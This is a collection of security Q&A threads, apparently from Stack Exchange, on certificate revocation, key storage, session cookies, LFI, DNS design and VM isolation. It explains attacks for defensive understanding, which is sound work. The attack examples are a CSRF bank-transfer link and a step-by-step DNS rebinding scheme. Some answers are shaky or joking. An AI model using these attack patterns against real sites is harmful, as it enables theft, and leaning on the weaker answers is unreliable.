How to configure Browser to detect revoked certificates? In the context of the Heartbleed bug I would like to make sure that I can detect if someone tries to do a MITM attack with a stolen certificate, which since has been revoked. The problem is that browser either only soft-fail or don't check the CRL at all because soft-fail is useless. Firefox lets one make OCSP response mandatory but it has significant disadvantages. What are the recommended settings / plugins to use to detect certificates which have been revoked since Heartbleed was announced? Specifically I would like to

Make OCSP mandatory for certificates issued before 04/07. Maybe with a fallback to something like Perspectives. Does any such extension exist / is under development?
Have the CRL record of a certificate cached from my previous visit to a site. That doesn't help against MTM attack on my first visit but I would notice a MITM with a revoked certificate on any subsequent visit.

Any other recommendations of extensions settings to solve this problem? I'm happy to change the browser to solve the issue, thus recommendation for any browser are welcome.

The only solution I was able to find is to use either Firefox or Internet Explorer, and enable hard-fail.

For Firefox:

Go to Options -> Advanced -> Certificates-> Validation
Check the box for "When an OCSP server connection fails, treat the certificate as invalid"

For Internet Explorer:

Can only be enabled in registry using FEATURE_WARN_ON_SEC_CERT_REV_FAILED. Blog post with reg file is here.

For Chrome:

Not possible to enable hard-fail

For Opera:

I don't know.

Notice that hard-fail has disadvantages. So don't enable it for friends/families which would get confused by the possible false positives.


Where do I securely store application-specific symmetric key? I am writing an application App1. This application uses SQLite database and I plan to encrypt it using AES256. For symmetric encryption I need a key, which I need to store somewhere.

From a similar questions I have a few options, but none is applicable in my case:

Tie the encryption key to your admin login

I don't trust the currently logged user. In fact, I want to hide this from anyone, but App1.
Tie the encryption key to your hardware.

App1 is deployed to thousands of machines, some may not have needed hardware.
Type in the encryption key when you start up, store it in memory.

User must not have access to App1 key.
Store the key on a different server.

Machine is allowed to be off line, while App1 is running.
Store the key elsewhere on the same server.

Then it can be found.
Store the key in the database.

I need to secure the database, which is kind of recursive in my case.

Possible solution is to store the key using Windows DPAPI, but

DPAPI is focused on providing data protection >for users<.

Whereas I need to protect an application. I also need that App1 worked from different users on the same machine
I can add secondary entropy, to restrict the currently logged user from accessing the data.

However, I need to store this secret data on the machine. How do I protect that... Appears to be recursion again.

Question: where do I securely store application-specific symmetric key?

This is the magical issue of DRM and the short answer is that there is no good answer and if you come up with one, you will be very wealthy.  In order for the application to access the key, it has to be able to get to it from an unencrypted state and whatever it can do, a sufficiently advanced user can do too.

You could use a TPM (trusted platform module) or HSM (hardware security module) to store the key as long as the user does not have administrative access on the system, but if they are an admin, then they will likely be able to get the TPM or HSM to give up the key.  It would also be difficult to make sure that only the program is able to get the TPM or HSM to perform operations as the application has no way to authenticate itself to the key store that the user can't fake, but it at least would keep the key itself safe.

So short answer, you are completely out of luck if the users have admin on the box the app will run on.  If you can give them only limited accounts, then there are some options, but they are still not particularly strong unless you lock down the system quite a bit.


hashed username and password in remember me token? The MVC Framework Symfony uses the following method in its creation of a remember me cookie:

/**
 * Generates a hash for the cookie to ensure it is not being tempered with.
 *
 * @param string $class
 * @param string $username The username
 * @param int    $expires  The Unix timestamp when the cookie expires
 * @param string $password The encoded password
 *
 * @return string
 */
protected function generateCookieHash($class, $username, $expires, $password)
{
    return hash_hmac('sha256', $class.$username.$expires.$password, $this->getKey());
}

So they use a string of the User Class, followed by the username, then a timestamp and then the user's password. It gets salted with a key that never changes and is equal for all the users throughout the system.

Now here is my issue with this: Why put the password in the cookie? Though it is the hashed, salted password (with another salt, unique for each user), isn't that an unnecessary risk?

Or am I being paranoid here?

Also, with that hash, it seems the only unique thing is the expires timestamp. Seems like it would be possible to copy some old cookies and create a new one for a replay attack right?

Update

The resulting Cookie is base64 encoded and its decoded content is:

Somenamespace\YourApp\YourUserClass:MjQ2NjM=:1501576079:74fbfcddcc66c2a11586bf4e39e68ddb459afa3a3fa6684e93d03fc393ee1141

The First Element is the User Class.
The Second Parameter should be the base64 encoded username but this is what i get for it, so i guess it is the user id. I'll try to find out how that works too.
The third Parameter is the "expires" Timestamp, so you don't even have to guess that.
The fourth Parameter is said cookie hash.

This mechanism is so that when the user changes their password, all "remember-me" sessions are invalidated.

The two key features of this mechanism in regards to security is:

That the password cannot be determined from the hash in the cookie, if the attacker manages to gain access to the cookie somehow.
That the attacker cannot recreate the "remember-me" cookie using other data to gain access from another machine.

At first glance, because the cookie contains a hash of the password

Somenamespace\YourApp\YourUserClass:MjQ2NjM=:1501576079:74fbfcddcc66c2a11586bf4e39e68ddb459afa3a3fa6684e93d03fc393ee1141

it may appear that an attacker could brute force or "password guess" to find out if a tested password generates the same hash (4th parameter above). However, as this is a keyed hash (HMAC in this case), the attacker will not have the key in order to execute such an attack on the cookie value.

Regarding the second point, this is also hard for an attacker to accomplish for the same reasons. As the key of the hash is unknown, it will be almost impossible for an attacker to recreate the "remember-me" cookie even if user ID, class and expiry are known.


How can the data in a computer system become corrupted when it is copied across a network? Doing a report. Having trouble understanding the concept. I need to talk about the following topic in relation to:

How can the errors be detected?
Can they be detected and corrected? If so, by what means?

If someone could help explain this, that would be great.

If the received data is corrupted, it wasn't really "copied," was it?

Data packets sometimes become altered between the time they are transmitted and the time they are received. This occurs for a variety of reasons, and modern network protocols support "error checking and correction" (please search). Typically the numeric values of all the bytes of data in the packet are added up, and the result is then used to determine whether the packet was or was not received correctly (search "checksum"). Typically if the receiving node detects a "bad" packet (i.e. the received checksum doesn't match the sum of all the received bytes) a message is sent requesting another copy of the packet.


how to know which encryption is been used Is there a way to find what type of encryption/encoding is being used? For example, I am testing a web application which stores the password in the database in an encrypted format."azOwKPoUYP4=" is the encrypted string of "admin"How do i determine what hashing or encryption is being used?

The general answer is: do some reverse-engineering on the application. This notion of "reverse-engineering" is rather large; it includes:

Reading the documentation (if any) or other design notes accompanying the application.
Talking with the developers who built that application (it is amazing what people will say after two or three pints).
Going through the source code, if available. From an attacker's point of view, source code can often be obtained by going through the dumpsters outside of the developer's offices, to look for discarded hard disks or backup tapes.
Making test cases yourself: register on the application with a password that you know, and see what it becomes in the database. In particular, test whether changing your password several times and getting back to the first one brings you back to the same stored value, or another one. Also, test if two distinct users with the same password have the same stored value.
Disassembling the application binaries. This is especially simple with Java bytecode and .NET assemblies (for the latter, I have used ILSpy with success).

Without such reverse-engineering, you are back to guessing, a method whose efficiency is questionable. In your case, the sample you show looks like the Base64 encoding of a binary value of length 8 bytes (6b 33 b0 28 fa 14 60 fe, specifically). This suggests an algorithm that produces 64 bits, maybe a variant of the traditional DES-based hashing but without the salt.

Be mindful that a password can be encrypted, but, much more often, it is hashed; sometimes, it is MACed. These are very distinct notions and you will find a lot of documentation that is very confusing and confused on this subject. So, as a reading guide:

Encryption: using a key, transform some input data into another format that is unreadable to anybody except those who know the key; with the key, the transformation can be reversed (this is called "decryption"), yielding back the original value.
Hashing: mash and mix the input data into a fixed-length output. There is no key; the function is deterministic and public, and everybody can apply it. Hashing is not reversible; if the hash function is good, then the only method to find the original input (or at least a matching input) is luck (you try inputs until you find the right one).
MAC: somewhat equivalent to a "hashing with key". You need the key to compute it; but even with the key, it is not reversible. A MAC is to be verified, not "decrypted".


Headphone Virus/Short? So, I've had some difficulties with a pair of headphones that I have. They are typical Apple ear-buds, but they're old and a little beat-up. Currently, sound only comes out of one of the ear-buds, the left one, but this isn't the issue.

Whenever I plug my headphones into a device, whether it be an Android Nexus 5 phone or an Apple MacBook Pro Mid 2010, I get 30 minutes free of problems, and then whatever device I use opens its music player app (Google Play Music or iTunes), and starts playing the first song on the tracklist, without me telling it to do so. I have tried closing the app, which has varying results based on whether the product is an Apple or a Google product:

Apple: Waits 30 seconds-1 minute, then opens up iTunes again and plays songs at random on the track from the one that it was playing previously
Google: Waits 30 seconds, then resumes the track that was previously playing

I was suspicious of a virus, but I don't think that the Apple Ear-buds have the data storage capabilities to transmit malware (Source: Can headphones transmit malware?).

Could this be an issue with a short in the headphone port? I doubt it, because it's occurred on two completely different devices.

Could it be a problem with the headphone jack? See above

Could it be a virus? I'm still not sure.

Things to note:

The Music-playing app always opens as the last one in the chain (Cmd+Tab) or line of running tasks (Square button).

Sometimes, music will "jump" around between songs before the app closes itself, other times, it plays the whole song.

Chances are this is a combination of faulty headphones and the smartphones' intelligence. If there is a loose contact with the jack, the song "jumping" about or the "30 minutes of music" phenomena may happen. As for whether this could be because of a virus, the only way for that to even work would be if the headphones had some sort of data storage and a mechanism to digitize analog signals, like the Square Card Reader does. I would say this is highly unlikely for headphones without the data store or requisite firmware.


Do any systems implement a Duress Code? We've seen it in the movies. A spy or important government agent uses a pre-determined authentication word to not only prove who they are, but also that they are in danger.

I have not seen it implemented directly in any of the big day to day OSes we (the consumer public) use: Windows, Mac, Linux, iOS, Android, Windows Phone, or Blackberry.

I have found an instance of home security systems that have a duress code that will send a signal to the police, but I'm more interested in personal computer or mobile applications.

Does this technique get used in the real world? Are there particular OSes that support a duress code? Could I add this feature to any of my devices through third party software?

TrueCrypt supported a duress password which would appear to decrypt the system, but not allow access to the true data, which they called "deniable encryption".

It's been discussed here on security.SE: Plausible deniability with TrueCrypt , Truly deniable encryption


Can you hide your OS from programs? Can you trick a program into thinking you are on a different OS? Is there a way or program to make another program think I am using a different system?

For example, let's say currently I am on Windows 7 32-bit and I want the program to detect Windows 10 64-bit or perhaps Windows XP.

Can I do something similar with hardware? Can I tell a program that I'm running on a PC from the early 2003 even if it's from last year (2019)?

Cheeky answer: I think you are about to invent a Virtual Machine.

In order to spoof the hardware to look like a 2003 motherboard you'll need to deal with things like writing a CPU instruction translation layer so that the program gives 2003-era CPU binary instructions, and your layer translates them into instructions that your 2019 hardware understands.

In order to spoof the OS to look like Windows 7 32-bit, you will need to hide all the binaries and other files in C:\Windows, C:\Program Files, etc, that are clearly part of a Windows 10 install, and instead "fake" a complete file system with all the Windows 7 32-bit files. You'd also need a wrapper around the Windows 10 kernel to make the kernel APIs that are accessible to the program look and behave like the Windows 7 kernel. ie you can't really "fake" this; you basically need to emulate a fully functional install of Windows 7 32-bit inside your Windows 10.

By the time you have done all that, you will basically have invented virtual machines. So why don't you just download VirtualBox, set the hardware emulation to 2003-era hardware, and install Windows 7 32 bit on it?


Completely wiping a HDD (i.e. nothing is recoverable) Possible Duplicate:
  How can I reliably erase all information on a hard drive?

I'm looking to see if there's a method that can completely wipe out the content of a HDD, so that nothing previously on it can be recovered by any means, even by a professional. I'd like the HDD to be useable afterward by someone else.

I've come across HDDGuru, File Shredder, and DBAN.. As I understand them, they write on the HDD over and over to make recovery difficult at the minimum. How effective are these? DBAN seems the most promising..

The best way to erase a magnetic hard drive (not SSDs) while leaving the drive working is the ATA Secure Erase command.

For a single use of this, a (relatively) simple'ish way of accessing a compatible, modern tool which implements ATA Secure Erase is:

Download and run UNetbootin to create a bootable USB stick.
Download GParted Live or a similar special Linux distro oriented towards disk tools. (Using other Linux disk images will probably also work.) Install the disk image to the USB key using UNetbooting.
Boot from the USB key, and enter a Linux command line. From here, perform the secure erase with HDParm.

Good end user tools for ATA Secure Erase are unfortunately a bit hard to come by. I don't know of anything much easier than the above.

If the above software isn't working for you, then just use a single wipe pass from conventional software that overwrites the drive with random data. That's still good enough. Such software for example be found on the Ultimate Boot CD.


OpenVPN bridging vs routing: which is more secure? I have read about the differences between routing and bridging in OpenVPN, but I haven't found much from a security perspective. Which of the two modes is more secure?

Non is more secure, they are both equally secure, and many routing features provide VPN's, so it really does depend on features, but in terms of security, they are the same.


Is the following authentication solution safe or am I missing something? Context:

I have two web servers ServerA (LAMP stack) and ServerB (ASP.NET stack). I think the technology (hopefully) does not matter. Both servers require authentication and supposedly doing their job well, if not that is out of scope in this question.

Task:

I would like to implement a page with iframe content. ServerA serves the outer content ServerB serves the inner content (the iframe). The servers are in different domain. When user X logs to ServerA and navigates to the page, I would like to show a personal and sensitive content coming from ServerB in the iframe. The content belongs to user X's identity in server B.

Proposed solution:

ServerA and ServerB has a shared secret (server side)
Users are replicated from ServerA to ServerB. Usernames match, passwords on ServerB random generated and not used at all. (keep reading)
ServerA authenticates the user via https using a form based authentication
Outer page contains the following html fragement where the .any extension in the url is configured to execute and respond in the server for example .aspx or .cshtml or .php etc:

.

<img src="https://serverb.com/dummy.any?parameter=crypted_username_and_date_using_the secret" style="display:none;" />

In ServerB when a request received to the dummy.any url it decrypts the parameter, does some checking then in the response sets a crypted cookie containing with the username. The crypting key could be the shared secret or better it can be a ServerB's private secret.
In ServerB when a request received to the inner page (the iframe) it should contain the cookie, what was set for this very same domain (https://serverb) if the cookie is there and the userX is existing, and say a 5 minutes the timeframe is all OK, then ServerB uses its authentication subsystem to log on the user programmatically (no password provided). (the authentication subsystem sets their own cookies or whatever, this hopefully black box in our point of view)
After this ServerB serves sensitive content which belongs to userX.

Please note I am a developer and not a security expert. That's why I am asking before implementing a security hole.

I'm not sure this should be an answer, but I have too much to type for a comment...

What you are suggesting looks OK to me, with some assumptions:

The shared secret is good - no 'test123' etc.
The crypto you use is good. No ROT13 ;)
The usernames are case-sensitive, sounds obvious but I can imagine registering user abc and gaining access to user aBc's info

As a principal I think it works. The only thing I can think of is if a user is somehow able to register an account on server A that already exists on server B, but I'm sure you've thought of that.

Obviously if you have other security issues (vulns on either of the servers, the usual web attacks etc.) then all bets are off.


Issues with using TLS Session Id for Web App Session? Apache Tomcat has the ability to use the TLS Session ID instead of a session cookie or JSESSIONID in the querystring. My site is HTTPS Everywhere.

This seems useful in that I don't have to worry about session cookie theft, and can use sessions for user agents that don't do cookies.

Am I immune to Session Hijacking / Session Fixation here?

Any other issues to be concerned about?

SSL Session IDs are plaintext and visible to anyone watching the bits fly across the network.  If you're worried about hijacking, this would not be a good idea.


Relying on internal DNS server (Domain Controller) on a DMZ Server A couple of questions regarding DNS traffic between TRUST and DMZ and best practices.

Are there any significant risks in relying on internal DNS from a web server hosted in a DMZ zone? Has the DNS protocol ever be used to exploit/compromised a Windows Domain Controller (the DNS Server)?

Can a NGFW traffic inspection/filtering reduce this risk to make it acceptable ?

Knowing that is a Domain Controller, it would then be only used by people within the internal network right?
Might wanna double check with this related question.

Whether or not your host it in the DMZ, I highly recommend aiming for a setup where only traffic involving UDP port 53 is allowed and that's both inbound and outbound.

You could achieve that through configuring NGFW, some device that has a stateful firewall, or a host-based firewall within the DNS server. If you could have like 2-3 of these done then that's good since defense in-depth is very good practice. Test that it's working properly for each defense configured to ensure availability of your device.

If you're placing it in the DMZ however, it is of absolutely importance to have a firewall device between your DNS Server and the router to ensure it is segmented and kept away from your internal network should it get compromised by hacker/s.

Always remember that no defense is absolute so prepare plans/protocols to follow should a hacking attack succeeds and escalates to prevent/re-mediate the emergency.


Is there any reason in particular encryption keys aren't arbitrarily large? It's my understanding that the more bits an encryption key has, the longer it takes to break the encryption. What is the down side of having a larger encryption key or why don't we see keys of size 2^100 bits? Someone I worked with said it's the law made by the government encase they ever need to crack it, but this doesn't sound likely.

Speed. While keys can be large, if they are too large you're algorithm will be so slow that it's not workable. Normally multiple key sizes are defined by NIST and their estimate until it will be feasable to crack these.

For instance AES-128 would take:

128-bit Key = (3.4 x 1038) / [(10.51 x 1012) x 31536000]
                = (0.323 x 1026)/31536000
                = 1.02 x 1018
                = 1 billion billion years

If you assume:

Every person on the planet owns 10 computers.
There are 7 billion people on the planet.
Each of these computers can test 1 billion key combinations per
second (and that's quite high).
On average, you can crack the key after testing 50% of the
possibilities.
Then the earth's population can crack one encryption key in
77,000,000,000,000,000,000,000,000 years!

So if you take a 2^100 you will not increase your security that much. Infinity is still infinity.

Your friend is not entirely wrong when it comes to requests of government agencies to weaken cryptography. Note that the U.S. still regards cryptography as a weapon. Since World War II, many governments, including the U.S. and its NATO allies, have regulated the export of cryptography for national security considerations, and, as late as 1992, cryptography was on the U.S. Munitions List as an Auxiliary Military Technology.

Recently it was discovered that RSA Laboratories was paid 10 million USD to cripple the random generation of one of their products:

  Documents leaked by former NSA contractor Edward Snowden show that the
  NSA created and promulgated a flawed formula for generating random
  numbers to create a "back door" in encryption products, the New York
  Times reported in September. Reuters later reported that RSA became
  the most important distributor of that formula by rolling it into a
  software tool called Bsafe that is used to enhance security in
  personal computers and many other products.

On the other hand they also increased security of DES back in the 70's by helping on the design of the S-boxes of DES. In the early 90's it was discovered that this significantly increased the difficulty of brute forcing DES keys. As Bruce Schneier said:

  So, how good is the NSA at cryptography? They're certainly better than
  the academic world. They have more mathematicians working on the
  problems, they've been working on them longer, and they have access to
  everything published in the academic world, while they don't have to
  make their own results public. But are they a year ahead of the state
  of the art? Five years? A decade? No one knows. It took the academic
  community two decades to figure out that the NSA "tweaks" actually
  improved the security of DES. This means that back in the '70s, the
  National Security Agency was two decades ahead of the state of the
  art.

References:

Mohit Arora,  eetimes, How secure is AES against brute force
attacks?
Joseph Menn, Reuters, Secret contract tied NSA and security industry
pioneer
Bruce Schneier, CNET, Saluting the data encryption legacy


Local file inclusion in JS app I am working on a project which requires the name of the page as a query parameter 'path'. The app stores path variable as res.query.path. My manager asked me to pay attention to LFI, so I'm concerned about it. The app is using Express.JS, and no PHP.
My question is if the input is not handled carefully, is it still vulnerable to PHP wrappers?

The app is using JS(express) and no PHP, so my first question is if the input is not handled carefully is it still vulnerable to PHP wrappers?

PHP wrappers concerns php based application and has nothing to do with ways express js handles data.

I've written a small function to sanitize user input. Please tell me if it vulnerable in an environment where the path parameter is being prepended using the below function prepare for getting an absolute path that is then used as input to res.sendFile().

The code will not prevent you from getting hacked if the logic behind it is incorrect. The LFI not only means inclusion of local system files but also file uploaded by attacker to spawn shell as an attempt for escalation of privileges. In such case ../ shall not be the only thing to look for.
In the app's request flow's last step, consider this as suggested addition:

res.sendFile((if possible)check if the intended page will be prepared and it is surely not from system files or the page to be prepared belongs from specific directory of the server & then prepare(page))


Does a session time out make an app more secure in a A+ HTTPS / random session key? My main concern is not being a pain in the ass to my end-users. However, because 'banks' do it, some believe that session time-outs make an app more secure. But does it when your only mode of authenticating is username/password? (given that session keys are properly randomized and user interacts only over HTTPS?). I tend to disagree, but would love to be proven wrong. I have a customer complaining that my site is insecure because I don't time out sessions within half an hour.

Session timeout can prevent or mitigate several types of attacks. The following come to mind.

Unsecured workstation.  Boss leaves his desk for lunch, employee sits down and gives himself a raise.

Shared devices. Donald Trump uses a complimentary iPad at the Mar-a-la-go Resort.  Terrorist is able to obtain iPad afterward. Obtains nuclear codes.

Brute force.  FREAK attack downgrades SSL/TLS encryption to 512-bit; server farm containing 1,000 PS-4 gamestations cracks the key in  just over 31 minutes.
 Only those sites with a 30-minute session timeout escape catastrophe.

Session identifier theft.  Odd Job Trojan infects browsers all over the world and sends session keys to one hacker located in Hoboken, New Jersey.  Hacker has all the time in the world to sift through the harvested keys and use them for nefarious purposes. Some of the keys will no longer work by the time he gets to them-- those with session timeouts.

CSRF.  Hacker sends out a million emails with a funny GIF that links to https://www.wellsfargo.com/Transfer.aspx?ToAccount=1234&Amount=100000.   Of the one million email recipients, 10,000 open them.  Of those, 100 are still logged into Wellsfargo because their session timeout is too long.  Hacker gets millions of $$$, retires in Costa Rica, where he now passes time by posting on Stack Exchange.

If you don't implement session timeout, you are more vulnerable to all of the above sorts of attacks.  Using an HTTPS connection and/or using a crytopgraphically random session identifier are good and important steps, but neither of those saved anyone in the attacks above.

Only you can decide if the risk of the above attacks is important enough to offset the additional inconvenience to the end user. If it's just a social app, maybe not. If it's a banking app, almost certainly yes.


Windows Server more vulnerable for password extraction during shutdown? Is a Windows Server (e.g. Windows Server 2008) more vulnerable during the shutdown process compared to the Server is up and running? Does the process of shutting down Windows introduce additional vulnerabilities concerning password dumps/extractions?

In most scenarios, no.

In the normal working fine scenario, the processes that could cause sensitive data leaks are ended before the general system processes, so there is no danger here.

In the case one such sensitive process is stuck, the OS does not end task the others before action is taken for the stuck one (in this case the well known screen with wait or end task appears).

In the case of operating system getting stuck, there can be indeed a problem depending how complete that halt is, but this should not happen on W2008, unless there's some bad hardware involved or really bad software installed (in which case the system is already compromised).


Does backing up WhatsApp on Google Drive expose messages? I was wiping and restoring a family member's Android phone today, as it was running slowly with loads of apps on it.

I decided to back up their WhatsApp messages to Google Drive in order to recreate their chat history easily after the wipe.

On the phone, I noticed this message from WhatsApp:

Important: Media and messages you back up are not protected by WhatsApp end-to-end encryption while in Google Drive.

The same message is also available here, at the end of the section for Creating a Google Drive Backup:

https://faq.whatsapp.com/en/android/28000019

Does this mean that if I have been chatting to anyone in the past, and that person has periodic Google Drive backups enabled, then my conversation is compromised to Google and/or WhatsApp?

If this is the case then it actually makes end-to-end encryption on WhatsApp useless unless the person you're chatting to swears that they don't have Google Drive backup enabled on their end. We might as well just use server-side encryption.

Or is the message given by WhatsApp badly expressed and ambiguous?

You're confusing message integrity and security with secrecy. WhatsApp provides end to end encryption, meaning the message you send can only be read by the recipient and vice versa. This protects you from third parties trying to eavesdrop on your conversation, and even prevents WhatsApp themselves from reading the messages. You can't demand WhatsApp to allow you to wiretap a conversation if WhatsApp themselves have no idea what's being sent.

However once the message is in the hands of the recipient, it's a different story. In order for it to appear in their chat history, it has to be saved on the phone. If a persons device is compromised, so is your chat history with that person. The person could also screenshot your conversation, or even use another phone to take a picture of your conversation. Backup to Google Drive is simply a way of backing up your chat history so if you change devices or reset your phone all your messages aren't gone.

Once the conversation is in Google Drive however, if a valid law enforcement request is made for your files, your conversation is now compromised, as Google only provides server side encryption, which allows them to decrypt your files. This even opens you up to further compromise if the recipients Google account was ever hacked, as the hackers would have access to your message history with that person.

In short, no, the warning is accurate. It's not ambiguous, it tells you exactly what it means, if you save the messages to Google Drive, anyone with access to that account can retrieve the messages. This all boils down to the level of trust you have in your recipient. If you're not 100% sure that the person you're talking to isn't going to rat you out, best not to voice your dissent of your government to them.


Server Detection Vectors I have a web server, and I would like to anonymise it as much as possible, to prevent unreported exploits directed at my web server (original cracks).

My ideas:

change server header
customize 404 pages

My homepage headers:

HTTP/1.1 200 OK
Vary: Accept-Encoding
Content-Encoding: gzip
Last-Modified: Mon, 26 Aug 2013 14:33:29 GMT
ETag: "3159055821"
Content-Type: text/html
Expires: Tue, 27 Aug 2013 22:42:28 GMT
Cache-Control: max-age=21600
Content-Length: 939
Date: Tue, 27 Aug 2013 16:42:28 GMT
Server: unspecified

Open Ports (nmap):

http
ssh

There is no dynamic content being generated (e.g. no PHP or anything).

Question: Are there any additional steps required to subvert server/version detection?

The operating system itself will be recognized by attackers, by analysing subtle details of TCP/IP packets. Nmap can do that easily. The SSH server also has a banner (sent as first element upon connection) which can give a lot of clues. Similarly, the software you use will probably be revealed by its dynamics. What you think of as a single, atomic "HTTP header" will be sent as one or several elementary write() calls, which will then be emitted as some IP packets; the position of the split, and the exact timing between the emissions, may tell quite a lot on the involved software.

The ordering of HTTP headers may also give clues about the server software. I see that you use gzip compression: zlib will be involved, but not all versions compress the same input to the exact same sequence of bytes (decompression is fully deterministic, but compression leaves open a lot of choices, and each version of zlib can make distinct choices when it strives to achieve the maximum compression rate or the fastest operation).

The only surefire way to hide your software version is to write your own software (and never publish it). Writing your own operating system or at least TCP/IP stack, though feasible, is a quite daunting endeavour.

Anyway, I will argue that preventing version detection is not really relevant. If an attacker knows one or two unpublished attacks, then... he will just try them out. Just in case. He does not need to know the exact version of the software for that. Knowing the exact version is useful only when the attacker has hundreds or thousands of exploits to choose from, and does not have enough time to try them all; this situation does not apply to unreported exploits, which tend to be valuable because they are rare. A given attacker would consider himself very lucky indeed if he has access to more than two or three exploits which are, as yet, unknown to the public at large.


Why do DNSKEY have a RRSIG for themselves? Looking at all examlpes of DNSSEC, you see that the zone includes not only the DNSKEY , but also a RRSIG of the DNSKEY created with that same DNSKEY? Why is this? Why publish a self-signed RRSIG? What security does it add?

UPDATE: In fact, the RFC specifies this, though it doesn't say why: http://tools.ietf.org/html/rfc4035#section-2.4 :"the child's apex DNSKEY RRset SHOULD be signed
   by the corresponding private key"

The RRSIG record is the proof that a certain RRset was published by the holder of a certain key.

When the parent entity publishes a DS record in the parent zone it is basically saying "we have received proof that the entity to which we have done this delegation is also in possession of the key with the hash that we published in our DS record" (kind of a recursive statement but I hope you get it).

This hash must match the DNSKEY found in the child zone for DNSSEC to validate. One might say that a match at this stage would be proof enough that the delegation is valid. But by signing the actual DNSKEY RRset you can also be sure that the data within the DNSKEY response is actually coming from the holder of the key matching the DS record.

Without the signature the DNSKEY data could actually be malicious. I can't really come up with a attack at this point but better to be safe than sorry I guess?


What does defense in depth entail for a web app? I'm assuming it means different layers of security from app-level security to server hardening to personnel training, but what are each of those layers and what are some good resources for each level of defense?

In order of importance for a web app, please label each layer, briefly define it, and then list one or more resources for further information.

I think it's arguably more important to understand what 'defense in depth' does NOT mean. It does not mean 'a long laundry list of impressive sounding controls, such as firewalls and encryption algorithms'.

Defense in depth is a technology-neutral term that means that two or more independent controls should have to fail before a system is compromised. E.g. holding your trousers up with belt & braces & string:-)

The key point here is 'independent' - if all your controls have common failure modes, or if only one of them needs to fail before you've lost, then there is no 'defense in depth'. For example if each of your tiers is accessible from the previous one via HTTP, and they all have the same vulnerability, then the firewall/DMZ setup is effectively rendered irrelevant since the attacker can use the same vulnerability to own them all.


How important is split-horizon DNS? Split DNS returns different results depending on the source IP.

It's commonly promoted as significant security measure for internal resources, for limiting enumeration and discovery.

I've had many issues with split DNS in the past, with programs that don't properly respect ttls. They cache resolution for a long time, and since DNS is inconsistent (i.e. it depends on my source IP), they break. Windows and Chrome, for example, have each been problematic for me.

I'm wondering about the security value of split DNS. DNS just maps text names to   IP addresses. Is it somehow easier for an attacker to enumerate hostnames than IPs? Do internet addresses need to be secret? Is split DNS still valuable even with firewalls that block by source IP?

How much real security does split DNS offer?

The first part of a targeted attack (i.e. to penetrate a network) is to find out as much as possible about the target. It is very common that a company uses the same domain name in the internal network as it does for public available sites. It is also very common that the name of host describes its purpose.

If you don't use Split DNS that would mean that you publish the information about all hosts inside a domain at a single public available place. These published information would reveal the names of the hosts and also the internally used IP addresses and could thus get an attacker lots of inside about the companies infrastructure.

  DNS just maps text names to IP addresses.

Just a single example what an attacker could do when it knows these mappings for internal hosts:

Access the public available DNS information and find out that there is a host named wiki.example.com with the IP address 10.1.2.3. Given the name of the hosts this could be an internal wiki which probably provides interesting information about the company. Lets try to get exfiltrate the company-intern information published there.
To do this the attacker sets up its own website example.attacker. This server resolves initially to an external IP address controlled by the attacker. The DNS server for this domain is controlled by the attacker too. A link to this server will be included an interesting phishing mails or similar so that someone from inside the company will access the site.
Once the site got accessed and some scripts got downloaded the attacker will change the IP address for this site as visible from the company to the IP address of the site it likes to attack: i.e. example.attacker will now resolve to the same IP address 10.1.2.3 as wiki.example.com. This trick is called DNS Rebinding.
The script already downloaded from the attackers site then tries to access example.attacker. Since this site now resolves to 10.1.2.3 this request will access the internal server wiki.example.com, but with the name example.attacker. Servers used only for a single domain often ignore the Host header of the request so that the content of the site is accessible not only by using wiki.example.com but also example.attacker as long as both names resolve to the same IP address.
Because the Same Origin Policy only restricts access by DNS name and not by IP address the already loaded scripts from the original example.attacker host can now interact with the new example.attacker host site (which is wiki.example.com) and thus grab the information from this site and forward these information to the attacker.

In summary: the more you know about your target the better you can compromise it. Split DNS is not the ultimate solution to protect against all the data leaks but it helps to protect at least part of the data. Thus it is part of defense in depth.

  I've had many issues with split DNS in the past, with programs that don't properly respect ttls. They cache resolution for a long time, and since DNS is inconsistent (i.e. it depends on my source IP), they break.

It looks like you use the same system (notebook or mobile?) both within the protected company network and in the unprotected internet. This is a very bad idea since this provides an easy vector for malware to get moved into the company network, bypassing all protections they might have. The secure way would be instead to have the company notebook never connect directly to the internet but only use a VPN when outside which tunnels everything through the company network, including DNS lookups. And private hardware should never connect to the protected company network, but should be instead contained inside a separate network when used inside the company. If used this way you should also not see problems with Split DNS, since you never switch between external and internal DNS setups on the same system.


What is difference running Linux by live USB vs. by VirtualBox? Can an expert please explain me which of following three methods working with an OS is technically considered more "secure" - and why (pros/cons)?

Security I mean aspects like:
-preventing any malware to "swap" over to the other drives of the computer
-web browsing
-preventing traces of data from being read by the other OS drives of the computer

Booting Linux from Live USB
Dual-Booting - two OS systems on the same computer
One Main OS on the computer, but using other OS via VirtualBox (or any other provider of virtual drives)

btw-can virtual drive software like virtualbox theoretically monitor everything you do? is it just our trust in the provider, or is there solid "evidence"?

Thanks.

The 3 scenarios are

1. Live USB
2. Dual-Booting
3. One Main OS on the computer + One Virtual OS

Live USB can be run with or without persistent storage. Let me suppose you refer to those with no persistent storage. The yes it is fairly safe.

Malware/viruses - only those that attaches to hardware - typically writes into your ROM.

Web browsing - Nothing much to say. All data wiped when reboot.

Dual Boot Systems security is as it is.

Malware/viruses - most types of viruses since the storage is persistent. Once it integrates into one of the running processes that is run on reboot you have an APT. Thus vulnerable to both software and hardware malwares.

Web browsing - Both OS will keep their records of your web browsing data probably depending on your Browser and its configuration.

Swapping over drives - This is possible if both drives are mounted. Since it is mounted then any process can access it irregardless of which OS you use. Unless you unmount according to which OS you boot on.

One Main OS on the computer + One Virtual OS is probably more secure than a dual boot.

Malware/viruses - only those that are capable of exploiting hypervisor vulnerabilities to allow interaction between the VM and its hosts. An example of such is Cloudburst created by Immunity Inc against Vmware. There exist but it is not as common since it takes quite a bit of technical knowledge to develop exploits of such. See hyperjacking

Web browsing - Likewise web browsing data probably stored depending on your Browser and its configuration.

Swapping over drives - Unlikely unless specified by the user. This is dependent on your configuration once again.

Back to Basics

The end of story is how much usability are you willing to give up for security.

Live USB and Virtual OS is definitely more secure but a great hassle.

Live USB with no persistent storage means you cannot store any of your data and softwares you need daily. Very secure but every time you log on you will need to reinstall all the softwares.

Virtual OS probably also relatively secure in the sense you can always wipe the virtualbox and reset as and when you find something is wrong. However since it still possess storage to softwares and their configuration it is still possible to attract software exploits within the VM. Its harm is USUALLY limited to the VM though as mentioned above.


SAML nameID impersonation We are using the nameId from the SAML response (in email format) to identify and authorize the incoming user on our system.
